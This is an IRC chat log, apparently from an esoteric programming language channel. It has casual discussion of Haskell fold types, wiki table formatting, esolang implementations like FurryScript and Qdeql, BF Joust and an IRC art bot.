20:32:38 <itidus21> and if it could... would we become evil bastards and enslave the animals
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20:33:04 <Taneb> Considering it's cheaper to use actual computers
20:33:04 <itidus21> its bad enough that we trap pigs in cages their whole lives just to get nicer food than soy
20:33:20 <Taneb> And you don't need to muck out computers very often.
20:33:25 <itidus21> training animals to program as slave programmers would be just worse
20:33:46 <RocketJSquirrel> My bots may sometimes crash for literally no god damn reason ...
20:33:58 <elliott> I suspect a bug in the framework they all use.
20:34:04 <elliott> To do with line length or something.
20:34:12 <oerjan> elliott: well ok, a simplified barrier monad then
20:34:46 <tswett> What's the barrier monad?
20:35:24 <elliott> oerjan: THE BARRIER MONAD IS THE MOST COMPLEX MEANINGLESS JUMBLE IN EXISTENCE EVERYTHING IS A SIMPLIFIED BARRIER MONAD :P
20:35:25 <oerjan> `log [z]zo38>.*data Barrier
20:35:55 <elliott> http://stackoverflow.com/questions/9662806/is-there-any-haskell-land-equivalent-to-the-ruby-lands-bundler-et-al-and-if-n I like the part where this is a whiny blog post disguised as a question.
20:36:04 <oerjan> `log [z]zo38>.*data Barrier
20:36:17 <HackEgo> 2011-09-23.txt:20:12:26: <zzo38> OK. Barrier monads: data Barrier f b t = Unit t | Barrier f (b -> Barrier f b t) | Fail String; ("Fail String" is optional)
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20:36:41 <oerjan> oh he had an extra argument
20:37:15 <elliott> Yeah, that's totally different.
20:37:17 <shadwick> elliott: what a hipster programmer
20:37:44 <oerjan> RocketJSquirrel: while you're investigating, fix HackEgo's tendence to time out on commands after long delays ;P
20:38:33 <oerjan> (delays after previous command, that is, not while waiting.)
20:39:14 <elliott> anaCofree :: Functor h => (a -> b) -> (a -> h a) -> a -> Cofree h b
20:39:14 <elliott> anaCofree g1 g2 = g1 &&& fmap (anaCofree g1 g2) . g2 >>> Cofree
20:39:16 <HackEgo> 2011-04-15.txt:01:56:50: <coppro> elliott: you vehemently denied this
20:39:44 <elliott> id &&& fmap (anaCofree id tailCofree) . tailCofree >>> Cofree
20:40:53 <ais523> elliott: insane opinion: all websites should be dark-text-on-light-background, so that when I prefer the reverse, I can just reverse-video the entire browser rather than changing for individual pages
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20:42:58 <itidus21> i have a new theory on backups i call RAID 7 .. the basic idea is that you create a textfile list of all the filenames and directories on your disk, and store it online somewhere
20:43:15 <ais523> why backup just the names?
20:43:30 <itidus21> because to be honest thats all you really care about
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20:43:50 <ais523> err, typically the file contents are more important than the file names
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20:43:59 <ais523> if the file isn't redownloadable
20:44:08 <itidus21> well... one must take into account that the internet is actually getting faster
20:44:26 <ais523> itidus21: there are quite a few files I have that aren't stored online anywhere
20:44:29 <ais523> that's what backups are /for/
20:46:33 <elliott> ais523: why are you arguing with the debate equivalent of fungot
20:46:34 <fungot> elliott: have any of you guys!
20:47:16 <Taneb> We should really write a bot to replace itidus
20:47:20 <ais523> elliott: because I don't pay enough attention to figure out personalities of people unless I've talked to them really lots
20:47:24 <Taneb> Then replace itidus with it
20:47:38 <Taneb> So that itidus can be boosted up the ranks
20:48:05 <elliott> anaCofree <id> <tailCofree> x = Cofree (id x, fmap (anaCofree id tailCofree) (tailCofree x))
20:48:14 <elliott> anaCofree <id> <tailCofree> x = Cofree (x, fmap (anaCofree id tailCofree) (tailCofree x))
20:48:28 <elliott> anaCofree <id> <tailCofree> x@(Cofree (_,t)) = Cofree (x, fmap (anaCofree id tailCofree) t)
20:48:35 <itidus21> the fundamental reason for the previous few posts with my id in them is that i am not actually here for the same reason as the others
20:48:42 <elliott> foo x@(Cofree (_,t)) = Cofree (x, fmap foo t)
20:49:40 <itidus21> well i sort of am, but i arrived here with really no understanding of compilers.. i didn't even realize there was any math behind it
20:49:41 <oerjan> anaCoffee, the categorically best coffee
20:50:44 <itidus21> i thought that the most difficult part would be deciding on reserved keywords and optimal assembly code equivalents of syntactical structures
20:51:07 <itidus21> that is quite literally what i thought
20:52:19 <itidus21> with 10% room for misrepresentation of myself
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20:59:19 <elliott> oerjan: btw I'm using this type to represent things of the form (f . foldl' g z)
20:59:32 <elliott> because you can zip these so they run in tandem on a single list
20:59:36 <elliott> so (/) <$> sumF <*> lengthF DTRT
20:59:54 <elliott> I got to it by starting with this type (not discovered by me, other people have talked about it)
21:00:08 <elliott> data Fold a b = forall s. Fold s (s -> a -> s) (s -> b)
21:00:20 <elliott> and factoring out the existential; all we can do is plug in an a to get a new one, or convert it to a b, so
21:00:26 <elliott> data Fold a b = Fold (a -> Fold a b) b
21:02:06 <elliott> oerjan: the problem with the Monad instance is that it destroys this by keeping around the original list, making it no better than just doing it the usual way :(
21:02:19 <elliott> which I think is inherent, because you could decide what fold you're going to zip it with based on the final result of a previous one
21:02:37 <elliott> which means folding the two in tandem and discarding the conses as you go is impossible
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21:18:30 <oerjan> elliott: why doesn't ! align="left" | work in my wiki table :(
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21:25:51 <oerjan> i'm still in preview stage
21:26:57 <elliott> oerjan: put the relevant table on the sandbox?
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21:28:53 <oerjan> actually i did something earlier today and discarded the attempt, which i'm now trying to redo.
21:31:19 <lambdabot> forall (a :: * -> * -> *) b c d. (Arrow a) => a b c -> a (b, d) (c, d)
21:31:41 <elliott> it occurs to me that a Fold that only works on non-empty lists would be useful.
21:31:45 <elliott> so that you could define things like first
21:32:00 <elliott> data Fold a b = Fold (a -> (b, Fold a b)) -- hey, it's the automaton arrow.
21:32:26 <oerjan> elliott: ok i saved it as http://esolangs.org/wiki/Qdeql#Example_structure , everything except the alignment of most of the dark cells now looks as i want it.
21:32:57 <elliott> hm why does \\/\/\\/\// have a funny background
21:33:12 <elliott> i feel you are sorely misusing th elements somewhat
21:33:34 <elliott> although i'm not sure what it's meant to look like, so
21:34:10 <oerjan> elliott: i want to mark the cells that have non-default values. i tried bold but - and = don't get distinguished enough with it
21:34:33 <oerjan> also i _still_ would like the left column title cells to be left aligned, i think.
21:34:41 <elliott> ok, I'll fix the left column
21:34:48 <elliott> what if I defined a class that just did the background without the bolding or centring?
21:35:04 <oerjan> the bolding is nice though.
21:35:26 <elliott> i don't like the idea of non-heading cells that look identical to headings :(
21:35:32 <oerjan> well i guess not bolding will distinguish it from that
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21:36:40 <elliott> oerjan: ! style="text-align: left" | works
21:36:47 <elliott> oerjan: though I feel you want right alignment
21:36:55 <elliott> considering how wide it is
21:37:25 <oerjan> oh. i didn't want it to get confused with the actual data inside
21:37:48 <elliott> there's an awful lot of whitespace with left-alignment (I only left-aligned two rows to test because I'm lazy)
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21:38:23 <Phantom_Hoover> I love how you can tell if elliott's in the channel by the ratio of message lines to join/quit lines.
21:38:23 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
21:38:54 <oerjan> hm i suppose centering the left column isn't _that_ bad.
21:39:15 <elliott> change <]> and beginning of .
21:39:20 <elliott> <]><br><small>and beginning of .</small>
21:40:29 <oerjan> but that makes the size there different from all the other rows
21:41:12 <elliott> well it's just that "<]> and beginning of ." is stretching that column really wide
21:41:29 <elliott> JSON.org License Literally Says it "shall be used for Good, not Evil" (java.dzone.com)
21:41:37 <elliott> Reddit Literally Discovers "the same things, Over and Over Again"
21:43:13 <elliott> i think we need Tufte to redesign your tables.
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21:50:26 <oerjan> argh i put the style in the wrong place now
21:51:31 <elliott> generate the wikicode with a perl script
21:51:56 <elliott> RocketJSquirrel: [[The license includes this restriction: "The software shall be used for good, not evil." If your conscience cannot live with that, then choose a different package.]]
21:52:08 <elliott> RocketJSquirrel: GOD OK you're a javascripter, you must come across Crockford IRL occasionally.
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21:52:47 <oerjan> elliott: it's just doing it once, then repeating n and . in vim
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21:53:00 <oerjan> but i put it in the code tag instead of at the !
21:54:45 <oerjan> now everyone can understand the qdeql translation!
21:54:53 * oerjan cackles more madly than usual
21:55:47 <oerjan> hm i think there's a cell that should be grey
21:57:13 <RocketJSquirrel> <elliott> RocketJSquirrel: GOD OK you're a javascripter, you must come across Crockford IRL occasionally. // I haven't, in fact. But yes, he's a dummy.
21:57:52 <elliott> RocketJSquirrel: Well, find him.
21:58:14 <oerjan> istr someone noticing that terms like that are enough to make it incompatible with gpl
21:58:32 <elliott> oerjan: That makes it incompatible with everything.
21:58:34 <oerjan> in other words, gpl mandates that evil must be allowed.
21:58:48 <elliott> It amounts to "you can't do anything with this, I might sue you".
21:59:05 <elliott> oerjan: Well that's obvious, see DFSG#6 "No discrimination against fields of endeavor, like commercial use."
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22:06:26 <RocketJSquirrel> elliott, oerjan: http://www.digitalmars.com/d/archives/digitalmars/D/announce/Flower_opened_8869.html
22:07:58 <elliott> RocketJSquirrel: I'VE READ THAT A KAJILLION TIMES
22:08:30 <elliott> At least they were precise
22:08:52 <elliott> oerjan: hey italicising the 7 in 7n is a sin
22:09:30 <oerjan> on the positive side, i now know someone is reading my edits.
22:10:09 <elliott> i review all the edits on the wiki. it is my duty
22:10:35 <oerjan> me too, although it isn't.
22:11:20 <elliott> oerjan: hm is "Can you understand now?" a zzoism
22:11:50 <oerjan> elliott: you got it :)
22:13:40 <oerjan> i just had this eerie feeling of being just as incomprehensible.
22:14:55 <elliott> i usually get a vague gist of what zzo38 is saying.
22:15:01 <elliott> however i have no idea how the translation of bf to qdeql works.
22:15:44 <elliott> oerjan: i feel compelled to point out i also have no idea how the underload minimisation works. or /// being TC.
22:16:41 <oerjan> i think the qdeql translation is a little simpler, well maybe except for the factory.
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22:18:19 <oerjan> did you read my discussion with graue?
22:18:39 <oerjan> it was a couple days ago
22:19:11 <elliott> oerjan: well do you mean the discussion when i was there?
22:19:19 <oerjan> i don't recall if you were
22:20:33 <oerjan> well anyway i explained to graue how it started with the epiphany that \\/\// would skip an arbitrary number of 255 0 0 copies, and that the factory grew out of how to replace the zero lost at the end of that loop.
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22:35:41 <elliott> leap second comin' our day
22:36:01 <oerjan> not for some months, surely?
22:37:22 <itidus21> someones playing mario music on a piano. why should you care? i'm not entirely sure. http://www.youtube.com/watch?v=3eKxxYlHbJs
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23:37:47 <RocketJSquirrel> elliott: I assume you are a secondary expert, so tell me, web o' flies could presumably be used to add save states to a game (just replay up to a given point to "load"), no?
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00:40:45 <pikhq_> RocketJSquirrel: That is half the point, isn't it?
00:43:47 <elliott> RocketJSquirrel: well it's for TASes sure but why would you do that
00:49:37 <RocketJSquirrel> pikhq_: I thought the whole point was for TAS, so rewind. I'm just validating that that ability also gives it save-states.
00:50:18 <elliott> RocketJSquirrel: Well, it's slow, you know.
00:50:38 <RocketJSquirrel> I didn't have anything in mind, it was a general question.
00:51:21 <elliott> RocketJSquirrel: But come on, it rips out the scheduler.
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01:51:04 <elliott> http://stackoverflow.com/questions/9677012/suppress-runtime-error-irrefutable-pattern-failed-for-pattern-data-maybe-just-b
02:00:37 <Sgeo> elliott, tswett monqy update! (If you didn't see it already, it was about an hour or so ago
02:03:23 * tswett finishes having seen it.
02:04:00 <Sgeo> That means you saw it, but then stopped having seen it, so now you haven't seen it?
02:04:45 * Sgeo now understands why Racket's keyword arguments are the way they are
02:16:27 <Sgeo> Apparently, in #lisp , it's not worth doing interesting things, just useful things.
02:17:28 <Sgeo> Maybe I'm misrepresenting what was said :/
02:17:51 <Sgeo> I think I did, after I suggested what I was doing could be potentially useful
02:18:20 <Sgeo> So I kind of did
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02:33:14 <Sgeo> 'You're welcome; please learn how to spell "thank you".'
02:34:33 <Sgeo> (after I said ty
02:35:09 <elliott> Sgeo i fear you're under the impression we will die if we don't hear every detail of your continuing #lisp experience
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02:38:42 <monqy> i need sgeo's #lisp experience to survive
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03:22:48 <elly> hi :) kmc told me I should join here - I have a FALSE compiler targeting x86-64 asm: http://www.leptoquark.net/~elly/false.c
03:24:49 <elly> the code is not very pretty :P
03:26:23 <HackEgo> elly: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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04:19:29 <HackEgo> ckennelly: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
04:21:20 <Sgeo> elliott, NOCAPS?
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04:51:28 <elliott> http://www.vanityfair.com/ontheweb/features/2007/02/autumn200702 "I see people in black hoods and robes sitting round a table, bound by blood oath never to divulge the latitude and longitude of Autumn."
05:02:48 <zzo38> Isn't the autumn, the season?
05:03:25 <elliott> The ending of that article cheated me. :(
05:04:27 <zzo38> I can tell you the latitude and longitude of the autumn equinox.
05:07:39 <zzo38> Its declination is zero, and its Greenwich hour angle changes all the time.
05:08:06 * Sgeo is no longer an admin at the Nethack Wiki
05:08:07 <zzo38> Its ecliptic latitude is also zero, and its ecliptic longitude is 180 degrees (= 0 Libra).
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05:08:43 <zzo38> I think its right ascension would also be 180 degrees (= 12 hours).
05:09:38 <Sgeo> Since 2005 or so. It did carry over to the new site, if that's what you're asking.
05:09:54 <zzo38> Now we know the latitude and longitude of the autumn equinox.
05:09:58 <Sgeo> And apparently, if I want it back, I can just ask, and will get it, no questions asked.
05:10:20 <elliott> Oh, wait, you founded it, right.
05:10:23 <elliott> http://nethackwiki.com/wiki/Special:Contributions/Sgeo What an impressive record.
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05:14:56 <HackEgo> zzo38: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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05:15:12 <elliott> shachaf: btw you might want to get that implementation you wrote onto the file archive
05:15:43 <zzo38> (I mean autumn equinox in north hemisphere; in south hemisphere the coordinates I give are for spring equinox)
05:15:48 <Sgeo> monqy, I used to be Sgep on Freenode because I forgot the password for Sgeo.
05:16:29 <shachaf> 22:16 -NickServ(NickServ@services.)- Information on shadwick (account shadwick):
05:16:31 <shachaf> 22:16 -NickServ(NickServ@services.)- Registered : Apr 29 23:37:31 2009 (2 years, 45 weeks, 3 days, 05:38:45 ago)
05:16:34 <shachaf> 22:16 -NickServ(NickServ@services.)- Information on Shachaf (account Shachaf):
05:16:35 <monqy> shachaf: stop being
05:16:37 <shachaf> 22:16 -NickServ(NickServ@services.)- Registered : Jul 03 22:30:48 2004 (7 years, 36 weeks, 2 days, 06:45:31 ago)
05:16:48 <elliott> 2004. You were like 3 then, right?
05:17:21 <shachaf> I moved to the US in -- 2002?
05:17:38 <elliott> Are you sure you're younger than 21?
05:17:51 <shadwick> elliott: oh ok. I've gotta fix it up a bit anyways
05:17:59 <shadwick> elliott: you're talking about the Optimism thing right?
05:18:00 <Sgeo> Fighting... snob... instinct.
05:18:09 <shachaf> elliott: Unless I've been lied to about my age. :-(
05:18:26 <monqy> shadwick: he's talking about tab-completion. you and shachaf share the first three letters in your names
05:19:05 <elliott> Sgeo: Saying that was just as bad as not fighting it, so you might as well just go ahead.
05:19:12 <monqy> or at least if I was elliott I'd be talking about tab-completion because wow sharing three letters is a lot
05:19:36 <shadwick> elliott: I'm working on a compiler/interpreter for another language right now. I'll fix up the last bit of the Optimism code before I ask about the archive thingy
05:20:05 <shachaf> elly: I'm pretty sure you've been around for longer than elliott.
05:20:21 <monqy> what happened to ehird, man
05:21:04 <Sgeo> elliott, I'm referring to a less than stellar writer on the old NH wiki
05:22:21 <shachaf> elliott: BUT IO IS PURE LOGIC SAYS SO
05:24:53 <shachaf> elliott: I've come to a realization.
05:25:00 <shachaf> Every thing is either the devil or the future.
05:25:11 <pikhq> And the devilfuture?
05:25:22 <shachaf> The devilfuture is the devil.
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05:42:44 <shadwick> I got in touch with evincar about Alchemy
05:43:00 <shadwick> he said he was never expecting an email about it haha
05:46:18 <shadwick> just a random lang I found in the unimplemented category yesterday
05:46:31 <shadwick> I wanted to make an interpreter for it so I contacted him to ask a few dtails
05:47:02 <shadwick> it's coming along well so far; got the source->bytecode compiler working and program state and execution functionality down
05:48:16 <zzo38> What programming language are you using to write compilers/interpreters?
05:48:59 <shadwick> far as I know, it will pass valgrind with flying colours
05:50:28 <zzo38> I have used different programming languages to implement different esolangs, sometimes multiple implementations in different programming languages, some of them possibly other esolangs too.
05:50:33 <monqy> the more @ you add, the perfecter it gets
06:00:00 <zzo38> (I have implemented FlogScript in PHP, BytePusher in CWEB, Constantinople in Haskell, Deadfish in dc and Forth and TeX and TeXnicard, Underload in TeX and FlogScript, and Unlambda in PHP.
06:01:03 <zzo38> (I have also invented and implemented FurryScript, which may be called a quasi-esolang by some.)
06:01:10 <zzo38> O, and I have implemented Pure BF in Haskell, too.
06:01:45 <zzo38> myndzi: http://esolangs.org/wiki/User:Zzo38/FurryScript Tell me if you misunderstand anything about it.
06:02:23 <myndzi> ha, i was envisaging something more like a cross between 'yiff' and lolcode
06:02:29 <myndzi> but .. i couldn't think of anything except 'yiff'
06:04:13 <zzo38> myndzi: Well, someone once thought it was something like that and responded to my message about FurryScript with a code that looked like a somewhat badly written JavaScript code involving 'yiff' and a few other things. But actually, FurryScript is not JavaScript nor is it 'yiff'.
06:05:40 <myndzi> it would be more interesting if it was though
06:06:01 <myndzi> little(?) known fact is that 'yiff' comes from a whole language of dog sounds haha
06:06:19 <myndzi> by 'whole language' i'm talking like a dozen words of course
06:06:32 <myndzi> but yiff is the only one anyone knows
06:13:25 <zzo38> Of course you can write programs in FurryScript involving that stuff or any other stuff if you want, but they are not part of the programming language. Do you think this is good and understandable document to you?
06:13:49 <myndzi> i don't know, i was only curious if it was any relation :P
06:19:21 <myndzi> it is a good and understandable document :)
06:19:58 <zzo38> Can you write any programs using it? So far I am the only one who has written anything with it (although data comes from various sources and is not entirely my own).
06:21:17 <myndzi> the document would certainly benefit from some code examples both to demonstrate syntax and purpose :P
06:21:22 <myndzi> define writing a program
06:22:32 <myndzi> there are also some vagaries that could be explained better
06:23:56 <elliott> monqy: tell me to go to bed in the next few minutes, thanks
06:24:20 <zzo38> myndzi: OK then do tell me what needs to be explain better
06:24:26 <zzo38> I would like to fix it
06:25:06 <myndzi> explain what you mean by 'continuation', what purpose a parameter serves (and where it goes when you take it from the stack), and your syntax with the parenthesis ( foo -- bar )
06:25:26 <elliott> myndzi: I would assume the standard meaning of continuation unless stated otherwise
06:25:33 <elliott> ( foo -- bar ) is presumably the standard Forth stack notation
06:25:43 <myndzi> elliott: yeah, but i'm a noob
06:26:02 <monqy> elliott: do you have a timer
06:26:07 <myndzi> now if you are defining something for a person to read, you don't want to draw references in from a bunch of other languages ;)
06:26:25 <myndzi> also uncertain if one command per line or what
06:26:33 <elliott> well continuations are a pretty common concept :P
06:26:42 <elliott> the stack notation is unintuitive to a newcomer to stack languages though yeah
06:26:53 <elliott> http://en.wikipedia.org/wiki/Continuation may enlighten you or confuse you tenfold
06:26:55 <myndzi> i'm just taking it for what it is
06:27:15 <zzo38> myndzi: The ( foo -- bar ) is the Forth-like stack notation; elliott is correct about that. (It is sometimes used in other programming language with stack too.) But the continuations are not exactly like other programming language continuations though; there are a few differences. I don't know the best way to describe but source-codes is available.
06:27:33 <myndzi> but i guess this is foot-in-mouth moment, i didn't even recognize these as standard notations :P
06:27:42 <myndzi> truth is i'm not even in the right channel ;D
06:27:48 <zzo38> Examples might also help. Here are codes for examples: http://zzo38computer.cjb.net/furry/scripts/
06:28:13 <elliott> well continuations are mostly something you might stumble upon in functional programming circles liek scheme and haskell, although POSIX used to have them (technically)
06:28:24 <elliott> an interwiki link to wikipedia for the term is probably appropriate
06:28:40 <elliott> myndzi: the ( foo -- bar ) thing is just ( stack before -- stack afterwards )
06:28:51 <elliott> swap would be ( a b -- b a )
06:29:38 <myndzi> that's kinda what i gathered from context
06:30:03 <myndzi> just wasn't sure "where" the components were
06:30:13 <elliott> top of the stack comes last
06:30:26 <myndzi> i mean "on the stack" or "somewhere else"
06:30:32 <myndzi> i'm not so savvy as that
06:31:01 <myndzi> really i just came here because of bf joust a long time ago and stay because interesting stuff at times
06:32:30 <zzo38> The result of a subroutine can be one of three things: OK, bad, or very bad.
06:33:22 <zzo38> Yes, that is why the command for very bad is called HOR.
06:33:32 <elliott> myndzi: er you were here way before bf joust i think
06:33:53 <myndzi> though, bf joust has had a couple recurrences
06:34:05 <myndzi> it was impomatic in #corewars talkin about it that got me to come play
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06:34:49 <myndzi> i bet \o/ talks more than i do :)
06:35:17 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
06:35:18 <myndzi> | | | `\o/´ | | | `\o/´ | | |
06:35:18 <myndzi> /´\ /< /< | /< |\ |\ | >\ /< /'\
06:35:21 <elliott> myndzi: oh speaking of which i had a bug report
06:35:26 <elliott> ^rainbow \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
06:35:26 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
06:35:34 <elliott> and copy the colours for each column
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06:35:51 <myndzi> i might have a script that applies here
06:36:01 <myndzi> do /me something myndzi but put color codes all up in my nick
06:36:39 <elliott> or do the colour codes do something special
06:36:53 <myndzi> it will scale the codes to match
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06:37:26 <myndzi> i'm not sure that script applies here though
06:38:00 <myndzi> nicks different lengths man, what do you want ;p
06:38:13 <myndzi> also that looks cool on my theme
06:38:30 <elliott> monqy: in 5 minutes!!!!!!!!!
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06:39:24 <myndzi> huh, i wonder if this will work
06:39:33 <myndzi> ^rainbow \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
06:39:33 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
06:39:33 <myndzi> | | | `\o/´ | | | `\o/´ | | |
06:39:33 <myndzi> >\ |\ /| | >\ /| |\ | |\ /´\ /|
06:39:34 <myndzi> | | | `\o/´ | | | `\o/´ | | |
06:39:34 <myndzi> >\ /| /´\ | /´\ >\ /| | /| /^\ /´\
06:40:08 <myndzi> i wonder why it didn't trigger on yours
06:40:38 <myndzi> i'll have to do the colors sometime when i'm not four beers in, it probably requires a complete rewrite of things
06:40:46 <myndzi> bolds complicate matters too, but hopefully i don't have to support that :)
06:41:25 <elliott> myndzi: can i make it more complicated
06:41:30 <elliott> just copying the colours for each column is wrong
06:41:40 <myndzi> you want it to follow the lines
06:41:43 <elliott> if a head is one colour, that entire person (and only that person) should be that colour
06:41:54 <myndzi> that actually makes it easier
06:41:57 <elliott> if it's multiple colours, it should use the same stretching you use for nicks to fill the whole body on every line ;)
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06:42:11 <elliott> that makes it easier? i don't want to see your code then
06:42:21 <myndzi> well when you said "body same color as head"
06:42:25 <myndzi> that = one color for everything
06:42:34 <myndzi> but all the little dudes \o/
06:42:40 <myndzi> fall into three columns by your description anyway
06:42:48 <elliott> (_| |_) ain't three columns
06:42:49 <myndzi> so the stretching would be the same as per-column
06:43:13 <myndzi> even that guy is about the same
06:43:28 <myndzi> so stretching that to two wouldn't be much of a ... stretch
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06:44:22 <monqy> elliott: has it been 5 minutes
06:44:35 <elliott> myndzi: i thought it'd be harder to do it per-guy because they can overlap in columns
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06:44:38 <zzo38> Another thing which only I have written files for so far is the Internet Quiz Engine. (And unlike FurryScript, Internet Quiz Engine supports user uploads.)
06:44:55 <HackEgo> rvchangue: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
06:44:55 <elliott> myndzi: meh, blame my proportional font then
06:45:03 <myndzi> it won't render the rocker dude if he's within one character of other stuff
06:45:14 <myndzi> ah, why would you even care with a proportional font lol ;)
06:46:28 <myndzi> you don't want to see the code anyway though
06:46:37 <myndzi> it looks like any code that starts simple and expands to do more than it should
06:46:50 <zzo38> I use a fixed font on my IRC but that doesn't mean these things will be lined up
06:46:52 <elliott> you need an extensible dude-drawing framework
06:47:11 <myndzi> zzo38: too many variances in clients, yeah
06:47:31 <myndzi> but any client that left-aligns nicks should do, excepting ones that don't pad for non-status-symbols when there's a difference
06:47:49 <myndzi> i actually made it output proper spaces once but i actually got more complaints than otherwise
06:48:25 <myndzi> man, i neglected an ebay auction earlier
06:48:35 <myndzi> 120 watt solar panel, probably would have gone for < $1/watt
06:48:51 <myndzi> i laid eyes on it at 8 mins to go and then got distracted
06:49:13 <elliott> myndzi: ps - revive bf joust, thx
06:49:16 <kmc> http://achewood.com/index.php?date=04282006
06:49:28 <myndzi> i'm impressed that slowrush is still hanging out in decent shape
06:49:34 <zzo38> myndzi: For example, on my client, your messages are thirteen spaces to the right of elliott's messages. And many other client do in other ways; it also depend fixed/proportinal, table format, and other things too. So you cannot really get it to work (possibly even in some cases, messages from the same sender might not be lined up!)
06:49:40 <myndzi> it's hard to top the effort ais put in
06:49:47 <myndzi> with what limited motivation i have :)
06:50:32 <myndzi> the ones he did most recently are like the ones i wanted to do but didn't want to spend the effort on, but also better most likely
06:50:48 <myndzi> now it's less about discovery than it is about refinement
06:50:53 <myndzi> which is the same r eason i can't get myself into corewars
06:51:56 <zzo38> (Also, my IRC uses its own colors instead of using the colors specified in the message.)
06:52:10 <kmc> of course it does
06:52:28 <elliott> myndzi: i think it's still about discovery as, iirc, ais' latest strategy still has no known counter
06:52:48 <myndzi> zzo38: it's more like, there's no way i can cater to everything so i went for the majority
06:53:14 <zzo38> myndzi: Yes, you cannot cater to everything.
06:53:22 <monqy> is it even possible to cater to zzo's client
06:54:07 <elliott> myndzi: zzo38's client shows the lines as raw IRC lines with syntax highlighting
06:54:10 <myndzi> elliott: dunno, i just refreshed my memory and it's more like "everything useful thus far"
06:54:12 <elliott> better account for user+hostname
06:54:28 <myndzi> i've irced with telnet many a time and i can't imagine why anyone would want to do that
06:54:38 <zzo38> monqy: It probably is, but is not such a good idea since any client does them differently from another one.
06:54:38 <myndzi> i mean slowpoke.bfjoust
06:54:52 <elliott> fuuuuck good{night,morning}
06:54:57 <myndzi> it's integrated the strategies or counters to everything up to it basically
06:55:02 <myndzi> and that shows in the ratings too
06:55:04 <zzo38> myndzi: I have once done that too; but then I found it wasn't very good so I wrote an IRC client instead.
06:55:48 <myndzi> it loses to a couple, which means that you could target it, but that does you no good if the specific killers don't survive on their own against a lot of other things
06:56:31 <myndzi> i'm not being defeatist, i just don't have any ideas :)
06:56:42 <myndzi> not that don't involve "doing something very similar but better"
06:56:54 <myndzi> it was the "doing something new" that caught my interest
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07:02:12 <zzo38> On Sunday, I have played D&D game.
07:02:26 <zzo38> But experience points for that session have not yet been counted.
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07:03:59 <myndzi> or just up til 3am and wanted sleep ;)
07:04:35 <zzo38> The reason is that the DM lacked time to do so.
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07:08:46 <zzo38> One of the players is new and played only one session before this one; her character is a human fighter, using a staff and crossbow, with high Wisdom, and has a winter blanket, candle, bread, cheese, meat, and ale.
07:09:09 <myndzi> this seems very random
07:09:09 <zzo38> My character is very different from that and has very different equipment.
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07:10:23 <myndzi> i never really got into a decent d&d game :\
07:10:35 <myndzi> had the opportunity and not the knowledge and also the reverse
07:10:43 <zzo38> There is also one player who has quit.
07:11:49 <kmc> did they quit due to an ale shortage
07:12:10 <myndzi> AM I GETTING DRUNK YET
07:12:15 <zzo38> kmc: No; I think he just wanted to do other things.
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07:22:29 <zzo38> You can read about the game and about the characters since I put all of it onto the computer.
07:24:42 <zzo38> Her character has tried to offer some food to my character for healing, but she learn better in future
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07:27:38 <zzo38> Among other things, it wouldn't heal hit point damage.
07:28:40 <myndzi> pfft you're not playing Final Fantasy? :P
07:28:54 <zzo38> Correct; I am not playing Final Fantasy.
07:31:14 <myndzi> everything's better with chocobos!
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07:55:45 <Jafet> Then you should play Chocobo Dungeon
07:56:01 <Jafet> It makes as much sense as it sounds, but it has chocobos
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08:41:50 <Sgeo> " Shen uses a C++ convention for comments."
08:41:58 <Sgeo> "\* Here is a comment *\"
08:42:08 <Sgeo> C++ inspired, I guess.
08:45:39 <kmc> it's important to invent new comment syntax for your language
08:45:48 <kmc> it makes polyglot programs easier to write
08:48:35 <Sgeo> Idea: Polygots that don't use comments.
08:53:53 <olsner> "For the next release I’m trying to decide whether to roll to one of the super-bloated newer Linux kernels or write my own USB stack plus SATA and UDMA drivers for 2.0.28."
08:54:50 <olsner> http://www.mastodon.biz/ same guy that has the SCCS mirror on github
08:55:13 <shachaf> 2.4.20 was the kernel, man.
08:55:20 <shachaf> That's the kernel that it's all about.
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09:12:34 * oerjan sees a nick matchin ell.* and thinks "this will end well."
09:13:07 <shachaf> Surely you mean "this will start ell"?
09:13:51 <shachaf> Should I get a domain name in Afghanistan?
09:17:55 <fizzie> Sgeo: http://p.zem.fi/d0as -- C/Befunge polyglot without comments. (Okay, so X/Befunge is far too easy.)
09:18:26 <oerjan> we are still waiting for Malbolge/Befunge.
09:18:59 <shachaf> Does whitespace count as comments when there's information encoded in it?
09:19:26 <Sgeo> Do non-whitespace characters in Whitespace count as comments?
09:19:27 <shachaf> What about strings? Do those count as comments? Python practically uses them as such.
09:20:15 <oerjan> python has strings attached
09:20:21 <Sgeo> fizzie, cute/cool
09:22:26 <oerjan> 05:48:36: <shachaf> Norwegian.
09:22:26 <oerjan> 05:48:59: <shadwick> far as I know, it will pass valgrind with flying colours
09:22:44 <oerjan> those weren't the same person.
09:23:05 <oerjan> I AM STARTING TO AGREE WITH CERTAIN PEOPLE ON THESE NICK MATTERS
09:23:28 <shachaf> WHAT ABOUT UNCERTAIN PEOPLE
09:23:29 <fizzie> It's true what you say, nick matters.
09:23:57 <oerjan> you cannot agree with uncertain people, you never know where you might end up.
09:24:22 <shachaf> You might end up uncertain.
09:24:40 <shachaf> oerjan: Hey, you're Norwegian.
09:24:56 <fizzie> oerjan: Do you pass Valgrind?
09:25:16 <shachaf> oerjan: Have you ever been to Bø?
09:25:18 <oerjan> fizzie: presumably, only if i die in battle.
09:25:23 <shachaf> Trick question: All cities in Norway are called Bø.
09:25:51 <fizzie> What a bo-ing place it must be.
09:26:21 <oerjan> shachaf: Bø in Vesterålen?
09:26:43 <shachaf> Which is the name of a big airplane thing company.
09:27:38 <oerjan> oh. then probably not. probably not the other one either.
09:29:16 <oerjan> the latter is a bit unsure, since i've been to some nearby places
09:29:26 <oerjan> i certainly don't _recall_ visiting either.
